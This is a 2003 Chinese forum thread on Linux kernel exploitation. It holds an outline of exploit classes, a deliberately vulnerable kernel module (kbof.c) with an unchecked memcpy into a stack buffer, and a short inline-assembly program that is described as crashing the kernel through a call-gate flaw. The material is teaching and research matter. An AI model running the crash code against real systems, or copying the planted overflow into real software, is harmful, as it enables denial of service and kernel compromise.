免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4343 | 回复: 6

about kernel exploit [复制链接]

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2003-02-18 15:38 |显示全部楼层
目标:
内核层的exploit程序,我们如何来exploit kernel?
意义:
老外掌握了很多这种技术,一些kernel exploit能直接取得权限,众所周知,0层的权限比root权限大多了,而且内核的攻击可以跨平台,比如linux,内核的问题还可以导致嵌入式系统的崩溃。
技术实现:
需要对kernel深入了解,在0层做事比应用层难多了,应用层有4g内存可用呢:)
基础知识:
进程的内核路径的概念
cpu所处的四个路径
核心堆栈esp和任务切换的关系
中断返回的处理   iret
种类:                                 
内核的buffer overflow
内核的format string
内核的整形溢出
内核的heap overflow
tcp/ip核心溢出
调试方法:
首先我们的研究的方法就是自己构造一个有问题的内核程序,如何实现呢?当然是写lkm,我们写一个有问题的lkm程序,加载起来,然后我们看如何去溢出它,反正我调的时候系统都不知道当了多少次,因为是内核,所以无法调试,只能凭经验猜测,目前已经能成功溢出除了heap overflow的所有种类的内核程序问题,其中整形溢出,我看了一下linux内核代码,大量存在问题,所以还是比较有意义的。这里我先给一个有问题的测试程序,各位高手可以试试,讨论讨论,也算是我为本版奉献的一个课题:

  1. //test for kernel buffer overflow Vulnerability
  2. //by e4gle
  3. //gcc -O3 -c -I/usr/src/linux/include kbof.c
  4. #define MODULE
  5. #define __KERNEL__
  6. #include <linux/kernel.h>;
  7. #include <linux/module.h>;
  8. #include <asm/unistd.h>;
  9. #include <asm/uaccess.h>;
  10. #include <sys/syscall.h>;
  11. #include <linux/slab.h>;

  12. #define __NR_fun   242

  13. extern void* sys_call_table[];

  14. int (*old_fun) (void );

  15. asmlinkage int e4gle_call(unsigned int magic,char * code) {
  16.         char buf[256];
  17.         memcpy(buf,code,magic);  //这里有问题

  18. }
  19. asmlinkage int new_fun(unsigned int magic, char * buf) {
  20.         char *  code = kmalloc(magic, GFP_KERNEL);

  21.         if (code ==NULL) return 0;

  22.         if (copy_from_user(code, buf, magic))  //从用户层取参数
  23.                 return 0;

  24.         e4gle_call(magic,code);  //调用e4gle_call时,很明显会溢出,当然是在内核中
  25. }

  26. int init_module(void) {
  27.   old_fun = sys_call_table[__NR_fun];
  28.   sys_call_table[__NR_fun] = new_fun;
  29.   printk("<1>;kbof test loaded...\n");
  30.   return 0;
  31. }

  32. void cleanup_module(void) {
  33.   sys_call_table[__NR_fun] = old_fun;
  34.   printk("<1>;kbof test unloaded...\n");
  35. }

  36. //我们加载这个有问题的lkm,让它跑在内核里
  37. [root@redhat73 test]# gcc -O3 -c -I/usr/src/linux/include kbof.c
  38. [root@redhat73 test]# insmod -f kbof.o
  39. Warning: kernel-module version mismatch
  40.         kbof.o was compiled for kernel version 2.4.18-3custom
  41.         while this kernel is version 2.4.18-3
  42. Warning: loading kbof.o will taint the kernel: no license
  43. Warning: loading kbof.o will taint the kernel: forced load
  44. [root@redhat73 test]# lsmod|grep kbof
  45. kbof                    1040   0  (unused)
复制代码


如有问题或者对以上我提出的这些背景知识不了解的可以讨论一下

论坛徽章:
0
发表于 2003-02-18 17:34 |显示全部楼层

about kernel exploit

闲来无事的时候我根据一些资料在SCO UNIX做过一个应用程序的exploit,用GCC编译。现在已经没有动力了,其实我很想往这方面花点时间。

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2003-02-18 17:57 |显示全部楼层

about kernel exploit

应用层的已经不是什么技术了,一马平川,很简单的

论坛徽章:
0
发表于 2003-02-19 10:50 |显示全部楼层

about kernel exploit

[quote]原帖由 "e4gle"]应用层的已经不是什么技术了,一马平川,很简单的[/quote 发表:


应用层我是觉的没什么难度,但了解不多以为还有更深层的东西而不敢乱说.

内核的EXPLOIT的途径是不是有两条:一是通过应用程序的攻击,逐渐提升权限,最终得到ROOT,然后是你所说的0层?二是直接对内核攻击.这应该是对系统进程进行攻击吧.其结果是系统崩溃或0层权限.在这些过程中都用和应用层EXPLOIT相同的技术吧.

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2003-02-19 11:39 |显示全部楼层

about kernel exploit

原帖由 "bhpang2" 发表:


应用层我是觉的没什么难度,但了解不多以为还有更深层的东西而不敢乱说.

内核的EXPLOIT的途径是不是有两条:一是通过应用程序的攻击,逐渐提升权限,最终得到ROOT,然后是你所说的0层?二是直接对内核攻击.这应该是?.........


其实就是第二种才是内核exploit,当然都是从应用层切入攻击的。一种是直接利用内核的逻辑错误使系统当掉,一种就是我说的那几种类型,内核里跑的进程所用到的系统调用实现的问题,因为只有系统调用才是和应用层通讯的,再有就是tcp/ip协议栈的问题,这样可以从远程直接溢出

前段时间bugtraq就公布了这样一段代码,在应用层直接当掉系统,就是内核处理调用门的一个逻辑错误,我们修改了代码才能生效:

  1. //int NT_MASK = 0x00004000;
  2. int main( void )
  3. {
  4. __asm__("
  5.         mov $0x00004000,%eax #设置NT 标志
  6.         pushl %eax
  7.         popfl
  8.         lcall $7,$0
  9.         ");
  10.     return 1;
  11. }
复制代码

老外有一点很好,他公布的代码一般都是错误的,是故意的,让你自己去理解,修改才能有用。

论坛徽章:
0
发表于 2003-02-19 15:24 |显示全部楼层

about kernel exploit

准备看看你的HOME

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
发表于 2003-02-19 18:25 |显示全部楼层

about kernel exploit

呵呵,见笑,很久没更新了
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP